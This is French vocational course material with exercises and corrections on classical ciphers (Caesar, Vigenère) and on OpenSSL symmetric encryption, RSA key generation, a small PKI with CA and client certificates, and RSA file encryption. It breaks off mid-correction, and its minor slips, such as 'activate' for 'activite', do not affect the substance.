• Il doit être également capable de déchiffrer un texte chiffré avec le chiffrement de
César et Vigenère
• Il est recommandée de maitriser les principes des algorithmes de chiffrement
classique, en particulier César et Vigenère
• Aucune condition exigée
• Avoir un texte chiffré lorsqu’on part d’un texte en claire
• Avoir un texte en clair (qui a un sens) en partant d’un texte chiffré
Activité 1
Application des techniques de chiffrement classiques
Exercice 1 : Chiffrement de César

• L’objectif de cette exercice est d’essayer de chiffrer et déchiffrer des textes en utilisant l’algorithme de César. Pour cette raison, vous êtes chargés d’effectuer les tâches
suivantes
1. Chiffrez le texte suivant, avec le chiffrement de César, sachant que la distance de décalage est 5.
• Texte en claire : cet exercice entre dans le cadre de chiffrement classique
2. Déchiffrez le texte suivant, qui a été avec le chiffrement de César, sachant que la distance de décalage est 7.
• Texte chiffré : s h c p l l z a i l s s l
3. Déchiffrez le texte suivant, qui a été avec le chiffrement de César, sachant que le premier mot du texte claire est le.
• Texte chiffré : o h v r o h l o e u l o o h
PARTIE 3

Activité 1
Exercice 2 : Chiffrement de Vigenère

• L’objectif de cette exercice est d’essayer de chiffrer et déchiffrer des textes en utilisant le chiffrement de Vigenère. Pour cette raison, vous êtes chargés d’effectuer les
tâches suivantes :
1. Chiffrez le texte suivant, avec le chiffrement de Vigenère en utilisant la clé EXERCICE.

• Texte en claire : CHIFFRE DE VIGENERE
2. Déchiffrez le texte suivant, qui a été avec le chiffrement de Vigenère en utilisant la clé EXERCICE.
• Texte chiffré : PBWFNMKPFOMCNM
PARTIE 3

Activité 1
Correction

1. Pour chiffrer un texte avec le chiffrement de César avec une distance de décalage égale à 5, il faut préparer le tableau de correspondance de l’alphabet, comme suit :
Lettres d’origine A B C D E F G H I J K L M N O P Q R S T U V W X Y Z
Lettres de remplacement correspondantes F G H I J K L M N O P Q R S T U V W X Y Z A B C D E
• Ensuite, il faut chercher les correspondances de chaque lettre dans le texte claire comme suit :
Claire c e t e x e r c i c e e n t r e d a n s l e c a d r e d u c H I f f r e m e n t c l a s s i q u e
Chiffré h j y j c j w h n h j j s y w j i f s x q j h f i w j i z H M n k k w j r j s y h q f x x n v z j
• Texte en claire : c e t e x e r c i c e e n t r e d a n s l e c a d r e d u c h i f f r e m e n t c l a s s i q u e
PARTIE 3
• Texte chiffré : h j y j c j w h n h j j s y w j i f s x q j h f i w j i z h m n k k w j r j s y h q f x x n v z j

Activité 1
Correction

2. Pour déchiffrer un texte qui a été avec le chiffrement de César avec une distance de décalage égale à 7, il faut préparer le tableau de correspondance de l’alphabet,
comme suit :
Lettres de remplacement correspondantes H I J K L M N O P Q R S T U V W X Y Z A B C D E F G
• Ensuite, il faut chercher les correspondances de chaque lettre dans le texte chiffré comme suit :
Chiffré s h c p l l z a i l s s l
Claire l a v i e e s t b e l l e
PARTIE 3
• Texte chiffré : s h c p l l z a i l s s l
• Texte en claire : l a v i e e s t b e l l e

Activité 1

• Pour déchiffrer un texte chiffré avec le chiffrement de César, il faut alors calculer la distance de chiffrement en premier lieu.
• Le premier mot du texte claire est le, tandis que le premier mot du texte chiffré est oh alors :
• Position de la lettre o dans l’alphabet est 14
• Position de la lettre L dans l’alphabet est 11
Distance est alors égale à 3 (14-11=7-4=3)
• Position de la lettre h dans l’alphabet est 7
• Position de la lettre e dans l’alphabet est 4
• Préparez ensuite le tableau de correspondance de l’alphabet, comme suit :
Lettres de remplacement correspondantes D E F G H I J K L M N O P Q R S T U V W X Y Z A B C
• Ensuite, il faut chercher les correspondances de chaque lettre dans le texte chiffré comme suit :
PARTIE 3
Chiffré o h v r o h l o e u l o o h
Claire l e s o l e i l b r i l l e
• Texte chiffré : oh vrohlo eulooh
• Texte en claire : le soleil brille

Activité 1
Correction

1. Pour chiffrer le texte CHIFFRE DE VIGENERE avec le chiffrement de Vigenère en utilisant la clé EXERCICE , il faut suivre les étapes suivantes :
• Préparez un tableau contenant les positions des lettres de l’alphabet :
Alphabet A B C D E F G H I J K L M N O P Q R S T U V W X Y Z
Position 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
• Préparez un deuxième tableau comme suit :

• La première ligne : Mettez les lettres du texte en claire dans la première ligne. Chaque case contient une lettre.
• La deuxième ligne : En se référant au tableau des positions, déterminez la position de chaque lettre du texte en claire pour remplir la deuxième ligne.
• La troisième ligne : Mettez les lettres du mot clé, EXERCICE dans notre exemple, autant de fois jusqu’à remplir tous les colonnes du tableau.
• La quatrième ligne : En se référant au tableau des positions, déterminez la position de chaque lettre du mot clé pour remplir la quatrième ligne.
• La cinquième ligne : Calculez les positions des lettres du texte chiffré en appliquant la formule 𝑐𝑖 = 𝑝𝑖 + 𝑘𝑖 𝑚𝑜𝑑 𝑚 𝑚𝑜𝑑 26.
PARTIE 3
• La sixième ligne : Identifiez le texte chiffré en partant des positions calculées et en se référant au tableau des positions.

Activité 1
Correction

• Le tableau en résultant est le suivant :
CLAIR C H I F F R E D E V I G E N E R E
PCLAIR 2 7 8 5 5 17 4 3 4 21 8 6 4 13 4 17 4
CLÉ E X E R C I C E E X E R C I C E E
PCLÉ 4 23 4 17 2 8 2 4 4 23 4 17 2 8 2 4 4
PCHIFFRÉ 6 4 12 22 7 25 6 7 8 18 12 23 6 21 6 21 8
CHIFFRÉ G E M W H Z G H I S M X G V G V I
• Le résultat est le suivant :

• Texte en clair : CHIFFRE DE VIGENERE
• Clé: EXERCICE
PARTIE 3
• Texte Chiffré : GEMWHZGHISMXGVGVI

Activité 1
Correction

2. Pour déchiffrer le texte PBWFNMKPFOMCNM, qui a été fait avec le chiffrement de Vigenère en utilisant la clé EXERCICE, il faut suivre les étapes suivantes :
• Préparez un tableau contenant les positions des lettres de l’alphabet :
Alphabet A B C D E F G H I J K L M N O P Q R S T U V W X Y Z
Position 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25
• Préparez un deuxième tableau comme suit :

• La première ligne : Mettez les lettres du texte chiffré dans la première ligne. Chaque case contient une lettre.
• La deuxième ligne : En se référant au tableau des positions, déterminez la position de chaque lettre du texte chiffré pour remplir la deuxième ligne.
• La troisième ligne : Mettez les lettres du mot clé, EXERCICE dans notre exemple, autant de fois jusqu’à remplir tous les colonnes du tableau.
• La quatrième ligne : En se référant au tableau des positions, déterminez la position de chaque lettre du mot clé pour remplir la quatrième ligne.
• La cinquième ligne : Calculez les positions des lettres du texte en clair en appliquant la formule 𝑝𝑖 = 𝑐𝑖 + 26 − 𝑘𝑖 𝑚𝑜𝑑 𝑚 𝑚𝑜𝑑 26.
• La sixième ligne : Identifiez le texte en clair en partant des positions calculés et en se référant au tableau des positions.
PARTIE 3

Activité 1
Correction

• Le tableau en résultant est le suivant :
CHIFFRÉ P B W F N M K P F O M C N M
PCHIFFR2 15 1 22 5 13 12 10 15 5 14 12 2 13 12
CLÉ E X E R C I C E E X E R C I
PCLÉ 4 23 4 17 2 8 2 4 4 23 4 17 2 8
PCLAIR 11 4 18 14 11 4 8 11 1 17 8 11 11 4
CLAIR L E S O L E I L B R I L L E
• Le résultat est le suivant :

• Texte chiffré : P B W F N M K P F O M C N M
• Clé: EXERCICE
PARTIE 3
• Texte en claire : L E S O L E I L B R I L L E

ACTIVITÉ 2
CHIFFREMENT/DÉCHIFFREMENT
SYMÉTRIQUE GRÂCE À OPENSSL
• Chiffrer des fichiers en utilisant des algorithmes de

chiffrement symétriques grâce à OpenSSL
• Déchiffrer des fichiers en utilisant des algorithmes de
chiffrement symétriques grâce à OpenSSL
• Générer des clés symétriques
• Maitriser le principe d’un système de chiffrement symétrique
3 heures
CONSIGNES
• L’apprenant doit être capable de chiffrer/déchiffrer des fichiers avec des algorithmes
de chiffrement symétriques en utilisant OpenSSL
• Il doit être également capable de générer des clés de chiffrement symétrique
• Il est recommandée de maitriser le principe de chiffrement symétrique
• Il faut utiliser les commandes fournies au début de l’activité
• Une machine Virtuelle Ubuntu. Lien de téléchargement de la VM Ubuntu :
• Générer un fichier chiffré à partir d’un fichier en claire
• Générer un fichier claire à partir d’un fichier chiffré
• Générer une clé symétrique
• Utiliser avec succès les différents types d’algorithmes de chiffrement symétriques
Activité 2
Chiffrement/déchiffrement symétrique grâce à OpenSSL
Présentation de OpenSSL
• OpenSSL est une bibliothèque cryptographique open source qui implémente Secure Sockets Layer (SSL) et Transport Layer Security (TLS).
• OpenSSL fournie un ensemble de commandes exécutables en ligne de commande et permettant d’offrir plusieurs fonctionnalités telles que :
• Le chiffrement et le déchiffrement : plusieurs algorithmes de chiffrement sont implémentés dans OoenSSL tel que RSA, DES, IDEA,AES, RC4,etc..
• Le calcul d’empreinte numérique : plusieurs fonctions de hachage sont implémentés tel que MD5, SHA, etc..
• La forge de clef RSA
• La création de certificat X509
• Le syntaxe d’une commande OpenSSL est la suivante :
openssl <commande> <options>

PARTIE 3

Activité 2
Chiffrement/déchiffrement symétrique grâce à openSSL
Présentation de OpenSSL
• L’objectif principal de cette activité est de se familiariser à l’utilisation d’OpenSSL en essayant de réaliser le chiffrement et le déchiffrement symétrique
• Le tableau ci-dessous fournit les commandes nécessaires pour la réalisation du chiffrement et du déchiffrement :
Syntaxe de la commande Description

Permet de générer un fichier avec un contenu -e : encrypt → chiffrer
chiffré <chiffre.enc> à partir d’un fichier avec -in : Input file → fichier en entrée
openssl enc <-algo> -in <claire.txt> -e -out <chiffre.enc>
un contenu en texte clair <claire.txt> en
utilisant un algorithme de chiffrement <algo> -out: Output file → fichier résultant
Permet de générer un fichier avec un contenu
déchiffré <claire.dec> à partir d’un fichier avec -d : decrypt → déchiffrer
openssl enc <-algo> -in <chiffre.enc> -d -out <claire.dec>
un contenu chiffré <chiffre.enc> en utilisant un
algorithme de chiffrement <algo>
openssl rand -out <clé.key> <nombre_bits> Génère un nombre aléatoire de taille nombre_bits
Chiffrer un fichier avec l’AES et une clé. Pour déchiffrer, il suffit de changer l’option –e à -
openssl aes-256-cbc -in <claire.txt> -out <chiffre.enc> -e -k <clé.key>
PARTIE 3
d
L’ajout de cette option aux commandes précédentes permet de produire un fichier lisible
L’option -a
qui est codé en base64

Activité 2
Chiffrement/déchiffrement symétrique grâce à OpenSSL
Travail demandé
• Comme cité précédemment, l’objectif principal est d’utiliser OpenSSL pour chiffrer et déchiffrer des fichiers. Pour ce faire, vous êtes chargés dans cette activité
d’effectuer les tâches suivantes :
1. Vérifiez que OpenSSL est installé dans votre machine Ubuntu et déterminez sa version en tapant la commande : openssl version [-a] ;
2. Créez un fichier, nommé message, qui inclut le texte suivant :
Bonjour tout le monde !

Ce document est utilisé pour tester le chiffrement/déchiffrement symétrique avec OpenSSL.
3. Chiffrez le fichier message avec l’algorithme de chiffrement DES3. Le fichier chiffré est nommé message.enc ;
4. Déchiffrez le fichier message.enc. Le fichier déchiffré est nommé message.dec ;
5. Vérifiez que les deux fichiers message et message.dec contiennent le même contenu ;
6. Affichez le contenu du fichier message.enc ;
7. Répétez les étapes 3→6 en utilisant l’option –a ;
PARTIE 3
8. Répétez les étapes 3→5 en utilisant comme algorithme de chiffrement RC4 ;

9. Générez une clé symétrique, nommé Key, de taille 512 bits ;
10. Répétez les étapes 3→5 en utilisant comme algorithme de chiffrement AES et la clé Key générée dans la question précédente.

Activité 2
Correction
Correction
• Pour vérifier que OpenSSL est bien installé dans votre machine Ubuntu et déterminer sa version, il est possible de taper l’une des deux commandes suivantes:
• Openssl version
• Openssl version -a
• Les résultats des deux commandes précédentes sont illustrés dans les deux figures ci-dessous. Selon les résultats obtenus, la version OpenSSL est 1.1.1L :
PARTIE 3

Activité 2
Correction
Chiffrement avec DES3

• Pour créer un fichier, nommé message, il suffit d’exécuter la commande : nano message.
• Le contenu sera écrit dans le fichier crée, comme illustré dans la figure ci-dessous.
• Pour chiffrer le fichier message avec l’algorithme de chiffrement DES3, il suffit d’exécuter la commande suivante : openssl enc -e -des3 -in message -out message.enc
PARTIE 3
• Pour déchiffrer le fichier message.enc, il suffit d’exécuter la commande suivante : openssl enc -d -des3 -in message.enc -out message.dec

Activité 2
Correction
Chiffrement/Déchiffrement avec DES3

• Pour vérifier que les deux fichiers message et message.dec contiennent le même contenu, il est possible d’exécuter la commande : diff message message.dec
• Notez que la commande diff permet de comparer les deux fichiers ligne par ligne. L’absence de sortie prouve que les deux fichiers sont similaires.
• Il est possible d’exécuter la commande tail –f message.enc pour afficher le contenu du fichier message.enc
PARTIE 3
Remarque
• Le contenu du fichier message.enc n’est pas lisible à cause de l’absence de l’option -a.

Activité 2
Correction
Chiffrement/Déchiffrement avec DES3 : Utilisation de l’option -a

• Pour chiffrer le fichier message avec l’option -a, il suffit d’exécuter la commande suivante : openssl enc -e -des3 -in message -out message2.enc -a
• Pour déchiffrer le fichier message2.enc, il suffit d’exécuter la commande suivante : openssl enc -d -des3 -in message2.enc -out message2.dec -a
• Pour vérifier que les deux fichiers message et message2.dec contiennent le même contenu, il est possible d’exécuter la commande : diff message message2.dec
PARTIE 3
• Il est possible d’exécuter la commande tail –f message.enc pour afficher le contenu du fichier message2.enc

Activité 2
Correction
Chiffrement/Déchiffrement avec RC4

• Pour chiffrer le fichier message avec l’algorithme de chiffrement RC4, il suffit d’exécuter la commande suivante : openssl enc -e -rc4 -in message -out messageRC.enc
• Pour déchiffrer le fichier messageRC.enc, il suffit d’exécuter la commande suivante : openssl enc -d -rc4 -in messageRC.enc -out messageRC.dec
• Pour vérifier que les deux fichiers message et messageRC.dec contiennent le même contenu, il est possible d’exécuter la commande : diff message messageRC.dec
PARTIE 3

Activité 2
Correction
Génération d’une clé symétrique et chiffrement/déchiffrement AES

• Pour générer une clé symétrique, nommé Key, de taille 512 bits, il suffit d’exécuter la commande : openssl rand -out Key 512
• Pour chiffrer le fichier message avec l’algorithme AES-256 et la clé Key, il suffit d’exécuter la commande suivante :
openssl aes-256-cbc -in message -out messageAES.enc -e -k Key
• Pour déchiffrer le fichier messageAES.enc, il suffit d’exécuter la commande suivante : openssl aes-256-cbc -in messageAES.enc -out messageAES.dec -d -k Key
• Pour vérifier que les deux fichiers message et messageAES.dec contiennent le même contenu, il est possible d’exécuter la commande : diff message messageAES.dec
• Les résultats de l’exécution des commandes précédentes sont illustrés dans la figure ci-dessous.
PARTIE 3

ACTIVITÉ 3
GÉNÉRATION DE CLÉ PRIVÉE/PUBLIC RSA
• Générer une paire de clé privé/publique en utilisant

l’algorithme RSA
• Maitriser le principe d’un système de chiffrement

asymétrique (en particulier l’algorithme RSA)
2 heures
CONSIGNES
• L’apprenant doit être capable de générer une paire de clé privée/publique
• Il est recommandée de maitriser le principe de l’algorithme RSA
• Une machine Virtuelle Ubuntu qui a été utilisée dans l’activité 2
• Générer avec succès une paire de clé RSA (privée/publique)
Activité 3
Génération de clé privée/public RSA
Présentation des commandes de génération de clés RSA dans OpenSSL

• L’objectif principal de cette activité est de générer le couple de clé privée/public de l’algorithme RSA avec OpenSSL.
• Le tableau ci-dessous fournit les commandes nécessaires pour la gestion de clés RSA :

openssl genrsa -out <fichier_rsa.priv> <size> Génère la clé privé RSA de taille size (512, 1024, etc.).
openssl rsa -in <fichier_rsa.priv> -des3 -out <fichier.pem> Chiffre la clef privé RSA avec l’algorithme DES3.
Stocke la clé publique dans un fichier à part. Cette commande permet de créer la
openssl rsa -in <fichier_rsa.priv> -pubout -out <fichier_rsa.pub>
clé publique associée à la clef privée RSA.
openssl rsa -in key -check -modulus -text Vérifie la clé privée RSA. Plusieurs options peuvent être utilisées.
openssl rsa -pubin -in pubkey -text Vérifie la clé public RSA.
PARTIE 3

Activité 3
Génération de clé privée/public RSA
Travail demandé
• Comme présenté précédemment, l’objectif principal de cette activité est d’utiliser OpenSSL pour générer une couple de clés privée/public RSA. Pour ce faire, vous êtes
chargés de réaliser les tâches suivantes :
1. Générez une clé privée, nommée Key.priv, de taille 1024 ;
2. Vérifiez la clé privée générée, utilisez toutes les options ;
3. Chiffrez la clef privée générée précédemment avec l’algorithme DES3. Le fichier résultant est nommé Key.pem ;
4. Utilisez la commande cat pour afficher le contenu de la clé privée chiffrée Key.pem ;
5. Générez la clé publique correspondante, qui est nommée Key.pub ;
6. Vérifiez la clé publique générée ;
7. Utilisez la commande cat pour afficher le contenu de la clé publique.
PARTIE 3

Activité 3
Correction
Correction
• Pour générer la clé privée Key.priv, il suffit d’exécuter la commande suivante : openssl genrsa -out Key.priv 1024
• Pour vérifier la clé privée générée, il suffit d’exécuter la commande : openssl rsa -in Key.priv -check . Il est aussi possible d’utilizer d’autres options.
Le résultat de la commande openssl rsa -in Key.priv -check Le résultat de la commande openssl rsa -in Key.priv -modulus
PARTIE 3

Activité 3
Chiffrement/déchiffrement asymétrique grâce à openSSL

• Pour chiffrez la clef privée générée précédemment avec l’algorithme DES3, exécutez la commande suivante : openssl rsa -in Key.priv -des3 -out Key.pem
• Pour afficher la clé privée chiffrée Key.pem, exécutez : cat Key.pem

PARTIE 3

Activité 3

• Pour générer la clé publique Key.pub, il suffit d’exécuter la commande suivante : openssl rsa -in Key.priv -pubout -out Key.pub
• Pour vérifier la clé publique générée, il suffit d’exécuter la commande : openssl rsa -pubin -in Key.pub -text
PARTIE 3

ACTIVITÉ 4
GÉNÉRATION DES CERTIFICATS AVEC
OPENSSL
• Configurer OpenSSL
• Générer des certificats auto-signés
• Générer des certificats clients
• Maitriser le principe des certificats numériques

• Maitriser les notions de base d’une PKI
4 heures
CONSIGNES
• L’apprenant doit être capable de configurer le fichier openssl.cnf
• Il doit être également capable de générer un certificat auto-signé pour le CA et Des
certificats clients
• Il est recommandée de maitriser les notions de base d’une PKI
• Réalisation des activités précédentes (2 et 3) avec succès.
• Configurer avec succès l’outil OpenSSL
• Avoir un certificat auto-signé
• Avoir un certificat client signé par le CA
Activité 4
Génération des certificats avec OpenSSL
Présentation des objectifs
• L’objectif principal de cette activité est de mettre en place une plateforme PKI à l’aide d’OpenSSL afin de générer des certificats clients X.509.
• Cette activité sera organisée en trois étapes :
• Étape 1 : Configuration du fichier openssl.cnf ;
• Étape 2 : Génération d'un certificat auto-signé (le certificat du CA) ;
• Étape 3 : Génération des certificats clients.

PARTIE 3

Activité 4
Étape 1 : Configuration du fichier openssl.cnf

• Le but de cette étape est d'éditer le fichier de configuration 'openssl.cnf’. En fait, à traves ce fichier, il est possible de définir certaines informations importantes. Il est
également possible de définir les chemins des principaux répertoires de la plateforme PKI à mettre en place.
• A cet effet, il vous est demandé de réaliser les tâches suivantes :
1. Modifiez le fichier de configuration openssl.cnf qui se trouve dans le chemin suivant /etc/ssl/openssl.cnf comme suit :
i. Dans la section relative au CA [ CA_default ]
ii. :
[ CA_default ]
dir = /etc/activite # Le dossier où tout est gardé
certs = $dir/certs # Où les certificats délivrés sont conservés
crl_dir = $dir/crl # Où sont conservées les crl émises
database = $dir/index.txt # Fichier d'index de la base de données.
new_certs_dir = $dir/newcerts # Emplacement par défaut pour les nouveaux certificats.
certificate = $dir/cacerts/ofpptcacert.pem # Le certificat du CA
serial = $dir/serial # Le numéro de série actuel
crlnumber = $dir/crlnumber # Le numéro crl actuel
crl = $dir/crl.pem # Le CRL actuel
PARTIE 3
private_key = $dir/private/ofpptcakey.pem # La clé privée

iii. Dans la section [req] remplacer les valeurs des champs suivants par
default_bits = 1024
default_keyfile = privatekey.pem

Activité 4

iii. Dans la section [req _distinguished_ name]
countryName_default = MA
stateOrProvinceName_default = MAROC
localityName_default = NEW_CITY
0.organizationName_default = OFPPT
organizationalUnitName_default = SECURITY
2. Créez le répertoire activite, sous /etc

3. Créez tous les répertoires (certs, cacerts, private, reqs) sous /etc/activite comme configurés dans le fichier openssl.cnf
• private contient des fichiers de clés privées RSA ;
• certs contient des certificats d'entité finale X.509 ;
• newcerts contient les nouveaux certificats ;
• cacerts contient des certificats CA fiables ;
PARTIE 3
• reqs contient des demandes de certificat X.509.

4. Créez les deux fichiers suivants sous /etc/activite :
• index.txt qui contient la liste des certificats créés ;
• serial qui contient le prochain numéro de série à utiliser.

Activité 4

5. Pour initialiser les fichiers cités précédemment, vous devez exécuter les commandes suivantes :
• sudo touch index.txt
• sudo touch serial
• # echo 01 > serial (cela créera un fichier contenant le numéro 1 comme premier numéro de série pour le futur certificat).
PARTIE 3

Activité 4
Étape 2 : Génération d'un certificat auto-signé

• Cette étape vise à générer le certificat du CA (Certification Autority) qui est un certificat auto-signé.
• Le tableau ci-dessous fournit les commandes nécessaires pour la génération d’un certificat auto-signé.

Permet de générer une clé privée CApriv.pem de taille size et chiffrée avec l’algorithme
openssl genrsa <-algo> -out <CApriv.pem> <size>
de chiffrement algo.
-new -x509 : new combiné avec x509 signifie
qu'un certificat X509 auto-signé sera généré.
Permet de générer un certificat -days : indique le nombre de jours de validité
autosigné CA, nommé du certificat.
openssl req -new -x509 -days<certificate_validity_period> -
CA_certificate.pem d’une validité -key : pointe sur la paire de clés RSA
key<Capriv.pem> -out<CA_certificate.pem>
certificate_validity_period en utilisant Noté qu’il faut spécifier le chemin (relatif ou
la clé privé CApriv.pem. absolue) de la clé.
-out : définit le nom du fichier de certificat.

PARTIE 3

Activité 4

• Il vous est demandé dans cette étape de réaliser les tâches suivantes :
1. Générez une clé privée pour le CA, tel que
• Le nom de la clé est : ofpptcakey.pem ;
• La taille de la clé est : 2048 bits ;
• La clé est chiffrée avec l’algoritghme DES3 ;
• La clé doit être enregistrée dans l’emplacement adéquat : /etc/activite/private.
2. Générez le certificat auto-signé du CA, en utilisant la clé privée générée précédemment, tel que :
• Le nom du certificat est : ofpptcacert.pem ;
• La validité du certificat est : 4 ans (365joursx4=1460jours) ;
• Le certificat doit être enregistré dans l’emplacement adéquat : /etc/activite/cacerts ;
• Noté que lors de la génération du certificat, vous devez conserver les informations du CA par défaut qui ont été configurés précédemment dans le
PARTIE 3
fichier openssl.cnf.
3. Affichez le certificat généré avec la commande cat ;

4. Visualisez le certificat généré en mode graphique.

Activité 4
Étape 3 : Génération des certificats clients

• Cette étape vise à générer les certificats clients qui doivent être signés par un CA.
• Le tableau ci-dessous fournit les commandes nécessaires pour la génération d’un certificat client.

Permet de générer une clé privée clientpriv.pem de taille size et chiffrée avec
openssl genrsa <-algo> -out <clientpriv.pem> <size>
l’algorithme de chiffrement algo.
-new : combiné avec req permet la génération
Permet de générer une requête client,
d’une nouvelle requête.
nommé clientrequest.pem en utilisant
la clé privé clientpriv.pem. -key : pointe sur la paire de clés RSA
openssl req -new -key <clientpriv.pem> -out <clientrequest.pem> Noté qu’il faut spécifier le chemin (relatif ou
Cette requête est générée auprès du
absolue) de la clé.
CA pour l’obtention d’un certificat
client par la suite. -out : définit le nom du fichier sortant.
Permet de générer un certificat client clientcertificate.pem signé par le CA à partir de la

openssl ca -in <clientrequest.pem> -out <clientcertifcate.pem>
requête client clientrequest.pem.
PARTIE 3
Permet de vérifier la validité du certificat client clientcertifcate.pem au près du CA.

openssl verify -CAfile <CA_certificate.pem> <clientcertifcate.pem>
Sachant que CA_certificate.pem est le certificate du CA.

Activité 4

• Il vous est demandé dans cette étape de réaliser les tâches suivantes :
1. Générez une clé privée pour un client A, tel que
• Le nom de la clé est : ClientAkey.pem ;
• La taille de la clé est : 1024 bits ;
• La clé est chiffrée avec l’algoritghme DES3 ;
• La clé doit être enregistrée dans l’emplacement adéquat : /etc/activite/private.
2. Générez la requête client, en utilisant la clé privée générée précédemment, tel que :
• Le nom du fichier contenant la requête est : ClientArequest.pem ;
• La fichier de la requête doit être enregistrée dans l’emplacement adéquat : /etc/activite/reqs ;
• Noté que lors de la génération de la requête client, vous devez conserver les informations générales mais il faut saisir certains informations du client.
Pour ce faire :
PARTIE 3
• Le nom du client doit être saisi dans le champ Common Name. La valeur attribuée peut être ClientB.
• Le mail du client doit être saisi dans le champ Email Address . La valeur attribuée peut être clientA@gmail.com.

Activité 4

3. Générez le certificat du client A qui est signé par le CA, en utilisant la requête générée précédemment, tel que :
• Le nom du certificat est : ClientAcertificate.pem
• Le certificat doit être enregistré dans l’emplacement adéquat : /etc/activite/certs
4. Vérifiez la validité du certificat généré ;
5. Affichez le certificat généré avec la commande cat ;
6. Visualisez le certificat généré en mode graphique ;
7. Répétez les tâches précédentes (1→7) pour générer un deuxième certificat client pour un client B.
PARTIE 3

Activité 4
Correction
La figure ci-dessous illustre la configuration finale de la section CA [ CA_default ] La figure ci-dessous illustre la configuration finale de la section [req] dans le
dans le fichier openssl.cnf fichier openssl.cnf
PARTIE 3

Activité 4
Correction
La figure ci-dessous illustre la configuration finale de la section [req _distinguished_ name]

dans le fichier openssl.cnf
PARTIE 3

Activité 4
Correction

• La figure suivante illustre le résultats des commandes permettant la création des répertoires activité, sous /etc ainsi que certs, newcerts, cacerts, private, et reqs sous
/etc/activite comme configuré dans le fichier openssl.cnf.
• Les commandes exécutées sont les suivantes :
• cd /etc
• sudo mkdir activate
• cd activate
• sudo mkdir private
• sudo mkdir certs
• sudo mkdir newcerts
• sudo mkdir cacerts
• sudo mkdir reqs
PARTIE 3

Activité 4
Correction

• Les figures ci-contre illustrent le résultats des commandes permettant la création et l’initialisation des fichiers index.txt et serial.
• Les commandes exécutées sont les suivantes :
• sudo touch index.txt
• sudo touch serial
• sudo su
• #echo 01 > serial
• #cat serial
PARTIE 3

Activité 4
Correction

1. Pour générer la clé privée pour le CA en respectant l’énoncé, il suffit d’exécuter la commande suivante : sudo openssl genrsa -des3 -out private/ofpptcakey.pem 2048
2. Pour générer le certificat auto-signé du CA, en respectant l’énoncé, il suffit d’exécuter la commande :
sudo openssl req -new -x509 -days 1460 -key private/ofpptcakey.pem -out cacerts/ofpptcacert.pem
PARTIE 3

Activité 4
Correction
Le résultat de l’affichage du certificat du CA en exécutant la commande Le résultat de l’affichage du certificat du CA en mode graphique
cat cacerts/ofpptcacert.pem
PARTIE 3

Activité 4
Correction

1. Pour générer la clé privée du client A en respectant l’énoncé, il suffit d’exécuter la commande suivante : sudo openssl genrsa -des3 -out private/ClientAkey.pem 1024
2. Pour générer la requête du client A, en respectant l’énoncé, il suffit d’exécuter la commande :

sudo openssl req -new -key private/ClientAkey.pem -out reqs/ClientArequest.pem
PARTIE 3

Activité 4
Correction

3. Pour générer le certificat du client A qui est signé par le CA, il suffit d’exécuter la commande suivante :
sudo openssl ca -in reqs/ClientArequest.pem -out certs/ClientAcertificate.pem
PARTIE 3
4. Pour vérifier la validité du certificat généré, il suffit d’exécuter la commande : sudo openssl verify -CAfile cacerts/ofpptcacert.pem certs/ClientAcertificate.pem

Activité 4
Correction
Le résultat de l’affichage du certificat du client A en exécutant la commande : Le résultat de l’affichage du certificat du Client A en mode graphique
cat certs/ClientAcertificate.pem
PARTIE 3

Activité 4
Correction

7. Pour générer la clé privée du client B en respectant l’énoncé, il suffit d’exécuter la commande suivante : sudo openssl genrsa -des3 -out private/ClientBkey.pem 1024
8. Pour générer la requête du client B, en respectant l’énoncé, il suffit d’exécuter la commande :

sudo openssl req -new -key private/ClientBkey.pem -out reqs/ClientBrequest.pem
PARTIE 3

Activité 4
Correction

9. Pour générer le certificat du client B qui est signé par le CA, il suffit d’exécuter la commande suivante :
sudo openssl ca -in reqs/ClientBrequest.pem -out certs/ClientBcertificate.pem
PARTIE 3
10. Pour vérifier la validité du certificat généré, il suffit d’exécuter la commande : sudo openssl verify -CAfile cacerts/ofpptcacert.pem certs/ClientBcertificate.pem

Activité 4
Correction
Le résultat de l’affichage du certificat du client B en exécutant la commande : Le résultat de l’affichage du certificat du Client B en mode graphique
cat certs/ClientBcertificate.pem
PARTIE 3

ACTIVITÉ 5
CHIFFREMENT/DÉCHIFFREMENT
ASYMÉTRIQUE DES FICHIERS
• Chiffrer des fichiers en utilisant l’algorithme de chiffrement

asymétrique RSA grâce à OpenSSL
• Déchiffrer des fichiers en utilisant l’algorithme de
chiffrement asymétrique RSA grâce à OpenSSL
• Maitriser le principe d’un schéma de chiffrement

asymétrique
1 heure
CONSIGNES
• L’apprenant doit être capable de chiffrer/déchiffrer des fichiers avec l’algorithme de
chiffrement asymétrique RSA en utilisant OpenSSL
• Réalisation des activités précédentes (2, 3, et 4) avec succès.
• Générer un fichier chiffré à partir d’un fichier en claire
• Générer un fichier claire à partir d’un fichier chiffré
Activité 5
Chiffrement/déchiffrement asymétrique des fichiers
Chiffrement/déchiffrement asymétrique des fichiers

• L’objectif principal de cette activité est de chiffrer et déchiffrer un fichier à l’aide d’un certificat numérique et une clé privée, respectivement.
• Le tableau ci-dessous fournit les commandes nécessaires pour la réalisation de cette activité.

Chiffre un fichier texte fichier.txt avec la clé publique du certificat
openssl rsautl -encrypt -in <fichier.txt > -inkey <certificate> -certin -out <fichier.enc>
certificate. Le fichier chiffré est fichier.enc
Déchiffre un fichier fichier.enc avec la clé privée associée au certificat
openssl rsautl -decrypt -in <fichier.enc > -inkey <keypriv> -out <fichier.dec>
utilisé pour le chiffrement. Le fichier déchiffré est fichier.dec

1. Créez un fichier, nommé fichier.txt, qui inclut le texte suivant :
Bonjour tout le monde !

Ce deuxième document est utilisé pour tester le chiffrement/déchiffrement asymétrique avec
l'algorithme RSA sous OpenSSL.
PARTIE 3
2. Chiffrez le fichier fichier.txt en utilisant la clé publique du client A. Le fichier chiffré est nommé fichier.enc. Utilisez le certificat du client A généré dans l’activité
précédente ;
3. Déchiffrez le fichier fichier.enc. Le fichier chiffré est nommé fichier.dec ;
4. Vérifiez que les deux fichiers fichier.txt et fichier.dec contiennent le même contenu.

Activité 5
Correction
Correction
1. Pour créer le fichier fichier.txt, il suffit d’exécuter la commande sudo nano fichier.txt et de taper le texte. La figure ci-dessous illustre la création du fichier.txt.
2. Pour chiffrer le fichier fichier.txt avec la clé publique du client A, il suffit d’exécuter la commande suivante :
